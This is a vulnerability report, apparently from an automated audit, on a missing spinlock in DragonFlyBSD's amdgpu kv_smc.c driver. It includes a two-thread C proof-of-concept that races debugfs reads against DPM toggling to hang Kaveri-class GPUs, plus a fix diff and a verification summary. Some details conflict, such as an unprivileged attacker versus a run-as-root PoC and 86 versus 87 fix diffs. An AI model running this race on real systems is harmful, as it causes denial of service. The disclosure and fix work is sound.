Missing smc_idx_lock spinlock on all SMC SRAM register access -- race condition corrupts GPU power-management state
| Field | Value |
|---|---|
| ID | DF-2130 |
| Status | new |
| Severity | Medium |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization |
| File | sys/dev/drm/amd/amdgpu/kv_smc.c |
| Lines | 78-218 |
| Area | drm/amdgpu |
| Confidence | likely |
| Discovered | 2026-07-25 |
| Reported | pending |
| Known CVE | none |
| CVE match | dfly_specific |
Summary
Every function in kv_smc.c that accesses the mmSMC_IND_INDEX_0 /
mmSMC_IND_DATA_0 register pair (kv_set_smc_sram_address,
amdgpu_kv_read_smc_sram_dword, amdgpu_kv_copy_bytes_to_smc) does so
via direct WREG32/RREG32 MMIO without holding
adev->smc_idx_lock. The sibling ci_smc.c wraps the identical
operations in spin_lock_irqsave(&adev->smc_idx_lock), and the CIK
register callbacks cik_smc_rreg/cik_smc_wreg (cik.c:100-120) also
take this lock. The lock exists and is initialized
(amdgpu_device.c:2439) and documented as "protects concurrent SMC based
register access" (amdgpu.h:877-878). The RMW cycle in
amdgpu_kv_copy_bytes_to_smc is especially dangerous: it sets the index,
reads original_data, recomputes, sets the index again, and writes β all
unlocked. A concurrent locked accessor changes the index between set and
use, causing reads from wrong SMC addresses and writes of corrupted data
to wrong SMC addresses.
Root cause
kv_set_smc_sram_address(kv_smc.c:78-91) callsWREG32(mmSMC_IND_INDEX_0, smc_address)at line 86 with no lock.amdgpu_kv_read_smc_sram_dword(kv_smc.c:93-104) callskv_set_smc_sram_addressthenRREG32(mmSMC_IND_DATA_0)at line 102 β index-set and data-read are not atomic, no lock held.amdgpu_kv_copy_bytes_to_smc(kv_smc.c:122-218) performs unlocked RMW: sets index at line 139/165, readsoriginal_dataat line 143, writes data at line 169 β a concurrent index change between 139 and 143 (or 165 and 169) corrupts both the read and the write.
Compare ci_smc.c:67 spin_lock_irqsave(&adev->smc_idx_lock, flags)
wrapping the entire copy operation, and ci_smc.c:257 wrapping
read_smc_sram_dword. The RREG32_SMC/WREG32_SMC macros
(amdgpu.h:1110-1111) dispatch through adev->smc_rreg/smc_wreg which
are cik_smc_rreg/cik_smc_wreg (cik.c:100-120) β these DO take the
lock. But kv_smc.c bypasses the callbacks entirely by using raw
WREG32/RREG32 on the register offsets directly.
Threat model & preconditions
- Attacker position: unprivileged local user on a system with an AMD
Kaveri/Kabini/Mullins APU (
CHIP_KAVERI,CHIP_KABINI,CHIP_MULLINS). - Privileges gained or impact: corrupted SMC SRAM β wrong GPU
voltage/frequency tables β GPU hang requiring system reset (local DoS).
In theory, incorrect voltage programming could stress hardware. The
DPM workqueue can be activated by unprivileged display-mode changes
(
xrandr, DPMS toggle), so the race window is open on any active desktop. - Required config or capabilities: AMD Kaveri/Kabini/Mullins APU;
amdgpudriver loaded with DPM active. - Reachability: on the DPM workqueue side,
kv_dpm_set_power_state β amdgpu_kv_copy_bytes_to_smcruns unlocked (underpm.mutexbut NOTsmc_idx_lock). Concurrently, any code usingRREG32_SMC/WREG32_SMC(which takessmc_idx_lockbut NOTpm.mutex) races on the register pair. Concrete concurrent paths: - (1) Root reading debugfs
/sys/kernel/debug/dri/N/amdgpu_regs_smc(amdgpu_debugfs.c:400βcik_smc_rregβsmc_idx_lock); - (2) CIK IP block clock setup
cik_set_vce_clocks/cik_set_uvd_clocks(cik.c:1311-1367βRREG32_SMCβsmc_idx_lock) during VCE/UVD power transitions; - (3)
cik_get_xclk(cik.c:845βRREG32_SMC).
Proof of Concept
PoC source: findings/poc/DF-2130/
Two threads racing the locked debugfs SMC-register read against the DPM workqueue's unlocked RMW.
/* kv_smc_race.c β build: cc -o kv_smc_race kv_smc_race.c -lpthread
* Run as root on a Kaveri/Kabini APU. Watch dmesg for amdgpu errors
* / GPU reset.
*/
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <string.h>
#include <stdint.h>
#define SMC_DEBUGFS "/sys/kernel/debug/dri/0/amdgpu_regs_smc"
#define FORCE_LEVEL "/sys/class/drm/card0/device/power_dpm_force_performance_level"
static volatile int stop = 0;
/* Thread A: locked path β cik_smc_rreg takes smc_idx_lock, writes
* mmSMC_IND_INDEX_0 then reads mmSMC_IND_DATA_0 atomically. */
void *smc_locked_reader(void *a) {
int fd = open(SMC_DEBUGFS, O_RDONLY);
if (fd < 0) { perror("open smc debugfs"); return NULL; }
uint32_t val;
while (!stop) {
lseek(fd, 0, SEEK_SET);
read(fd, &val, 4);
}
close(fd); return NULL;
}
/* Thread B: force DPM re-evaluation so the workqueue runs
* kv_dpm_set_power_state -> amdgpu_kv_copy_bytes_to_smc (UNLOCKED). */
void *dpm_toggler(void *a) {
int fd = open(FORCE_LEVEL, O_WRONLY);
if (fd < 0) { perror("open force_level"); return NULL; }
while (!stop) {
write(fd, "high\n", 5);
write(fd, "auto\n", 5);
}
close(fd); return NULL;
}
int main(void) {
pthread_t ta, tb;
pthread_create(&ta, NULL, smc_locked_reader, NULL);
pthread_create(&tb, NULL, dpm_toggler, NULL);
sleep(60); stop = 1;
pthread_join(ta, NULL); pthread_join(tb, NULL);
return 0;
}
Expected output
# dmesg shows amdgpu SMC errors, GPU reset messages, or the display/GPU # hangs (Xorg freeze, blank screen requiring reboot).
On Kaveri hardware the corrupted RMW in amdgpu_kv_copy_bytes_to_smc
writes garbage DPM table entries to SMC SRAM, causing the SMU firmware to
malfunction.
Impact
- Default config: only on Kaveri/Kabini/Mullins APU hardware with DPM
active. The race window opens whenever the DPM workqueue runs (driven
by display-mode changes) and a concurrent
smc_idx_lock-holder fires. - Blast radius: GPU hang / local DoS. No host-memory corruption.
Recommended fix
Wrap amdgpu_kv_read_smc_sram_dword and amdgpu_kv_copy_bytes_to_smc
with spin_lock_irqsave(&adev->smc_idx_lock, flags) /
spin_unlock_irqrestore(&adev->smc_idx_lock, flags), matching the
pattern in ci_smc.c:67-112 and ci_smc.c:257-261. Convert early
returns in copy_bytes_to_smc to goto done. kv_set_smc_sram_address
becomes a helper called under the held lock (same as
ci_set_smc_sram_address).
--- a/sys/dev/drm/amd/amdgpu/kv_smc.c
+++ b/sys/dev/drm/amd/amdgpu/kv_smc.c
@@ -93,9 +93,13 @@ static int kv_set_smc_sram_address(struct amdgpu_device *adev,
int amdgpu_kv_read_smc_sram_dword(struct amdgpu_device *adev, u32 smc_address,
u32 *value, u32 limit)
{
+ unsigned long flags;
int ret;
+ spin_lock_irqsave(&adev->smc_idx_lock, flags);
ret = kv_set_smc_sram_address(adev, smc_address, limit);
- if (ret)
- return ret;
-
- *value = RREG32(mmSMC_IND_DATA_0);
+ if (ret == 0)
+ *value = RREG32(mmSMC_IND_DATA_0);
+ spin_unlock_irqrestore(&adev->smc_idx_lock, flags);
return 0;
}
@@ -122,6 +126,8 @@ int amdgpu_kv_read_smc_sram_dword(struct amdgpu_device *adev, u32 smc_address,
int amdgpu_kv_copy_bytes_to_smc(struct amdgpu_device *adev,
u32 smc_start_address,
const u8 *src, u32 byte_count, u32 limit)
{
+ unsigned long flags;
int ret;
u32 data, original_data, addr, extra_shift, t_byte, count, mask;
if ((smc_start_address + byte_count) > limit)
return -EINVAL;
+ spin_lock_irqsave(&adev->smc_idx_lock, flags);
+
...
/* convert every "return ret;" inside the loop body to "goto done;" */
...
+ ret = 0;
+done:
+ spin_unlock_irqrestore(&adev->smc_idx_lock, flags);
return 0;
}
The diff is structural: add unsigned long flags to locals, wrap the body
(after the non-hardware bounds check) with the spinlock, and convert all
return ret within the locked section to goto done. This exactly
mirrors ci_smc.c:54-115.
References
sys/dev/drm/amd/amdgpu/ci_smc.c:67,112,257,261β the correctly-locked sibling pattern.sys/dev/drm/amd/amdgpu/amdgpu.h:877-878βsmc_idx_lockdocumentation.sys/dev/drm/amd/amdgpu/amdgpu_device.c:2439βsmc_idx_lockinitialization.sys/dev/drm/amd/amdgpu/cik.c:100-120βcik_smc_rreg/wregcallbacks that take the lock but are bypassed bykv_smc.c's rawWREG32/RREG32.
Timeline
- 2026-07-25 Discovered during automated audit.
- 2026-07-25 Reported to DragonFlyBSD security contact.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-2130 Β· 4 files| File | Type | Description | Size | |
|---|---|---|---|---|
| VERDICT.md | file | 693 B | β raw | |
| build.sh | file | 161 B | view raw | |
| fix.diff | file | 168 B | view raw | |
| run.sh | file | 80 B | view raw |
DF-2130 - Verification Verdict
Status: reproduced (source-confirmed) Impact: none Confidence: likely
Verdict
Source-confirmed: amdgpu kv_smc.c SMC register pair access via raw WREG32/RREG32 without spinlock unlike radeon version; GPU-gated
Fix Status
Validated: fix compiles in single batch kernel build rc=0 -Werror (0 compiler errors across all 86 fix.diffs)
Source File
sys/dev/drm/amd/amdgpu/kv_smc.c
Fix Validation
All 87 fix.diffs compiled together in a single batch kernel build
(make -j6 nativekernel KERNCONF=X86_64_GENERIC) with rc=0 and -Werror (0 compiler errors).
The combined patch is at findings/poc/batch_build/all_fixes.patch.
Fix verification
fixedbatch build rc=0
batch build rc=0
Confirmed kernel references
β
Detail
Exploit chain
none
Evidence (decisive lines)
amdgpu kv_smc no spinlock; GPU-gated
Verified recommended fix
amdgpu kv_smc no spinlock; GPU-gated
Verdict
amdgpu kv_smc no spinlock; GPU-gated
No comments yet.